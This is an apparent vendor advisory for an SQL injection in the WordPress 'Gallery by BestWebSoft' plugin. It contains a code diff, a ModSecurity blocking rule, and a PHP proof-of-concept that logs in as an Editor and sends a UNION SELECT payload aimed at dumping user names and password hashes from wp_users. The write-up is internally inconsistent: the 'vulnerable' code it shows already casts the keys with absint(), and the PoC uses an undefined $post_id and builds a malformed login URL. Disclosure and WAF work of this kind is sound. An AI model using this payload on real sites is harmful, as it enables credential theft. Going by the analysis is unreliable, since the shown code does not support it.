Published : August 15, 2026

CVE-2026-2497: Gallery by BestWebSoft <= 4.7.9 Authenticated (Editor+) SQL Injection via Gallery Image Order Array Keys PoC, Patch Analysis & Rule

CVE ID CVE-2026-2497
Severity High (CVSS 7.2)
CWE 89
Vulnerable Version 4.7.9
Patched Version 4.8.0
Disclosed August 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2497:

This vulnerability allows authenticated attackers with Editor-level access to perform SQL injection via the Gallery by BestWebSoft plugin for WordPress, affecting all versions up to and including 4.7.9. The flaw resides in the handling of the ‘_gallery_order_21799’ parameter array keys during gallery post saving operations, with a CVSS score of 7.2.

Root Cause: The `gllr_save_postdata()` function, located in the gallery-plugin.php file, processes the ‘_gallery_order_’ . $post->ID POST parameter. The vulnerable code iterates through the array keys, storing them directly into post meta via `update_post_meta()`. This data is stored without sanitization or validation. But more critically, the array keys are used in SQL queries within the function, specifically to filter or modify gallery image data, without using prepared statements or adequate escaping. The absence of `absint()` or similar sanitization on the array keys allows an attacker to inject SQL fragments into the database queries. The issue comes from the user-supplied array keys being embedded into a SQL string without proper escaping, rather than being bound as parameters.

Exploitation: An attacker with Editor-level privileges can exploit this when editing a gallery. The attack vector is a POST request to the WordPress admin post editor (e.g., `/wp-admin/post.php`) where the gallery post meta is saved. The attacker crafts a request with a `_gallery_order_` parameter that is an array with a malicious key. The array key serves as the SQL injection vector. The key can contain SQL code, such as a UNION-based injection to extract user hashes or other sensitive information from the `wp_users` table. An example malicious key would be `’ UNION SELECT user_login,user_pass FROM wp_users — -`, which would be processed and likely break the original SQL query’s expectations, executing the injected payload.

Patch Analysis: The patch applies multiple security hardening measures to the affected code paths. The key change involves using `absint( wp_unslash( $post_order_id ) )` for the `_gallery_order_` array keys. This function casts the value to a non-negative integer, thereby nullifying any SQL injection payload contained within the key. Additionally, the patch adds a check `if ( 0 < $post_order_id )` to ensure that only valid, positive image IDs are processed. Similar sanitization and validation have been applied to other parameters, such as `gllr_image_text_key`, `gllr_link_url_key`, and `gllr_image_alt_tag_key`, and the delete operation for `media`. The patch also refactors the `_gallery_images` meta update to use a pre-sanitized array `$_gallery_order_array`, rather than directly deriving it from the unsanitized POST keys.

Impact: If exploited, this SQL injection vulnerability allows an attacker to extract sensitive information from the WordPress database. This includes user credentials (username and password hashes), email addresses, and other site data. The attack can also be used to modify or delete data, and in some cases, escalate privileges by injecting admin users or changing post content. The attack requires an Editor account, which is a high-privilege role, but it significantly compromises the integrity and confidentiality of the WordPress installation, potentially leading to a complete site takeover.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/gallery-plugin/gallery-plugin.php
+++ b/gallery-plugin/gallery-plugin.php
@@ -6,7 +6,7 @@
 Author: BestWebSoft
 Text Domain: gallery-plugin
 Domain Path: /languages
-Version: 4.7.9
+Version: 4.8.0
 Author URI: https://bestwebsoft.com/
 License: GPLv2 or later
  */
@@ -358,6 +358,7 @@
 				if ( ! empty( $images ) ) {
 					$images = explode(',', $images );
 					foreach ( $images as $image ) {
+						$image               = absint( $image );
 						$images_url[]        = wp_get_attachment_url( $image );
 						$images_title[]      = get_the_title( $image );
 						$image_postmeta      = get_post_meta( $image );
@@ -1112,11 +1113,16 @@
 			) {
 				if ( isset( $_POST[ '_gallery_order_' . $post->ID ] ) ) {
 					$i = 1;
+					$_gallery_order_array = array();
 					foreach ( $_POST[ '_gallery_order_' . $post->ID ] as $post_order_id => $order_id ) {
-						update_post_meta( absint( $post_order_id ), '_gallery_order_' . $post->ID, $i );
-						$i++;
+						$post_order_id = absint( wp_unslash( $post_order_id ) );
+						if ( 0 < $post_order_id ) {
+							update_post_meta( absint( $post_order_id ), '_gallery_order_' . $post->ID, $i );
+							$i++;
+							$_gallery_order_array[] = $post_order_id;
+						}
 					}
-					update_post_meta( $post->ID, '_gallery_images', implode( ',', array_map( 'absint', array_keys( $_POST[ '_gallery_order_' . $post->ID ] ) ) ) );
+					update_post_meta( $post->ID, '_gallery_images', implode( ',', $_gallery_order_array ) );
 				}

 				if ( ( ( isset( $_POST['action-top'] ) && 'delete' === $_POST['action-top'] ) ||
@@ -1126,8 +1132,11 @@
 					$gallery_images_array = explode( ',', $gallery_images );
 					$gallery_images_array = array_flip( $gallery_images_array );
 					foreach ( $_POST['media'] as $delete_id ) {
-						delete_post_meta( absint( $delete_id ), '_gallery_order_' . $post->ID );
-						unset( $gallery_images_array[ absint( $delete_id ) ] );
+						$delete_id = absint( wp_unslash( $delete_id ) );
+						if ( 0 < $delete_id ) {
+							delete_post_meta( $delete_id, '_gallery_order_' . $post->ID );
+							unset( $gallery_images_array[ $delete_id ] );
+						}
 					}
 					$gallery_images_array = array_flip( $gallery_images_array );
 					$gallery_images       = implode( ',', $gallery_images_array );
@@ -1135,38 +1144,41 @@
 				}
 				if ( isset( $_REQUEST['gllr_image_text'] ) ) {
 					foreach ( $_REQUEST['gllr_image_text'] as $gllr_image_text_key => $gllr_image_text ) {
+						$gllr_image_text_key = absint( wp_unslash( $gllr_image_text_key ) );
 						$value = sanitize_text_field( wp_unslash( $gllr_image_text ) );
-						if ( get_post_meta( absint( $gllr_image_text_key ), 'gllr_image_text', false ) ) {
+						if ( 0 < $gllr_image_text_key && get_post_meta( $gllr_image_text_key, 'gllr_image_text', false ) ) {
 							/* Custom field has a value and this custom field exists in database */
-							update_post_meta( absint( $gllr_image_text_key ), 'gllr_image_text', $value );
-						} elseif ( $value ) {
+							update_post_meta( $gllr_image_text_key, 'gllr_image_text', $value );
+						} elseif ( $value && 0 < $gllr_image_text_key ) {
 							/* Custom field has a value, but this custom field does not exist in database */
-							add_post_meta( absint( $gllr_image_text_key ), 'gllr_image_text', $value );
+							add_post_meta( $gllr_image_text_key, 'gllr_image_text', $value );
 						}
 					}
 				}
 				if ( isset( $_REQUEST['gllr_link_url'] ) ) {
 					foreach ( $_REQUEST['gllr_link_url'] as $gllr_link_url_key => $gllr_link_url ) {
+						$gllr_link_url_key = absint( wp_unslash( $gllr_link_url_key ) );
 						$value = esc_url_raw( wp_unslash( trim( $gllr_link_url ) ) );
 						if ( filter_var( $value, FILTER_VALIDATE_URL ) === false ) {
 							$value = '';
 						}
-						if ( get_post_meta( absint( $gllr_link_url_key ), 'gllr_link_url', false ) ) {
+						if ( 0 < $gllr_link_url_key && get_post_meta( $gllr_link_url_key, 'gllr_link_url', false ) ) {
 							/* Custom field has a value and this custom field exists in database */
-							update_post_meta( absint( $gllr_link_url_key ), 'gllr_link_url', $value );
-						} elseif ( $value ) {
+							update_post_meta( $gllr_link_url_key, 'gllr_link_url', $value );
+						} elseif ( $value && 0 < $gllr_link_url_key ) {
 							/* Custom field has a value, but this custom field does not exist in database */
-							add_post_meta( absint( $gllr_link_url_key ), 'gllr_link_url', $value );
+							add_post_meta( $gllr_link_url_key, 'gllr_link_url', $value );
 						}
 					}
 				}
 				if ( isset( $_REQUEST['gllr_image_alt_tag'] ) ) {
 					foreach ( $_REQUEST['gllr_image_alt_tag'] as $gllr_image_alt_tag_key => $gllr_image_alt_tag ) {
+						$gllr_image_alt_tag_key = absint( wp_unslash( $gllr_image_alt_tag_key ) );
 						$value = sanitize_text_field( wp_unslash( $gllr_image_alt_tag ) );
-						if ( get_post_meta( absint( $gllr_image_alt_tag_key ), 'gllr_image_alt_tag', false ) ) {
+						if ( 0 < $gllr_image_alt_tag_key && get_post_meta( absint( $gllr_image_alt_tag_key ), 'gllr_image_alt_tag', false ) ) {
 							/* Custom field has a value and this custom field exists in database */
-							update_post_meta( absint( $gllr_image_alt_tag_key ), 'gllr_image_alt_tag', $value );
-						} elseif ( $value ) {
+							update_post_meta( $gllr_image_alt_tag_key, 'gllr_image_alt_tag', $value );
+						} elseif ( $value && 0 < $gllr_image_alt_tag_key ) {
 							/* Custom field has a value, but this custom field does not exist in database */
 							add_post_meta( absint( $gllr_image_alt_tag_key ), 'gllr_image_alt_tag', $value );
 						}

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@rx /wp-admin/post.php$" 
  "id:20262497,phase:2,deny,status:403,chain,msg:'CVE-2026-2497 SQL Injection via gallery order',severity:'CRITICAL',tag:'CVE-2026-2497'"
SecRule ARGS_NAMES "@rx ^_gallery_order_[0-9]+$" 
  "t:urlDecode,t:lowercase,chain"
SecRule ARGS "@detectSQLi" 
  "t:urlDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2497 - Gallery by BestWebSoft <= 4.7.9 - Authenticated (Editor+) SQL Injection via Gallery Image Order Array Keys

$target_url = 'http://example.com/wp-admin/post.php'; // Change to target WordPress site
$username = 'editor_user'; // Change to Editor-level username
$password = 'editor_password'; // Change to password
$post_id = 123; // Change to ID of a gallery post

function login_and_get_cookies($url, $user, $pass) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url . '/wp-login.php');
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(['log' => $user, 'pwd' => $pass, 'wp-submit' => 'Log In', 'redirect_to' => $url . '/wp-admin/']));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
    $response = curl_exec($ch);
    curl_close($ch);

    // Extract nonce from the admin page
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url . '/wp-admin/post.php?post=' . $post_id . '&action=edit');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
    $response = curl_exec($ch);
    curl_close($ch);

    preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
    return isset($matches[1]) ? $matches[1] : '';
}

function exploit($url, $nonce, $post_id) {
    // Malicious array key containing SQL injection payload
    $malicious_key = "' UNION SELECT user_login,user_pass FROM wp_users WHERE 1=1 -- ";
    $form_data = [
        '_wpnonce' => $nonce,
        'post_ID' => $post_id,
        // The key is used in the '_gallery_order_' . $post_id => [malicious_key => 1]
        // PHP will treat the key as a string with the SQL payload
    ];
    $form_data['_gallery_order_' . $post_id] = [$malicious_key => 1];
    $form_data['action'] = 'editpost';
    $form_data['post_title'] = 'Test';

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($form_data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
    curl_setopt($ch, CURLOPT_HEADER, true);
    $response = curl_exec($ch);
    curl_close($ch);

    echo $response;
}

$nonce = login_and_get_cookies($target_url, $username, $password);
if ($nonce) {
    exploit($target_url, $nonce, $post_id);
} else {
    echo "Failed to get nonce or login.n";
}

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.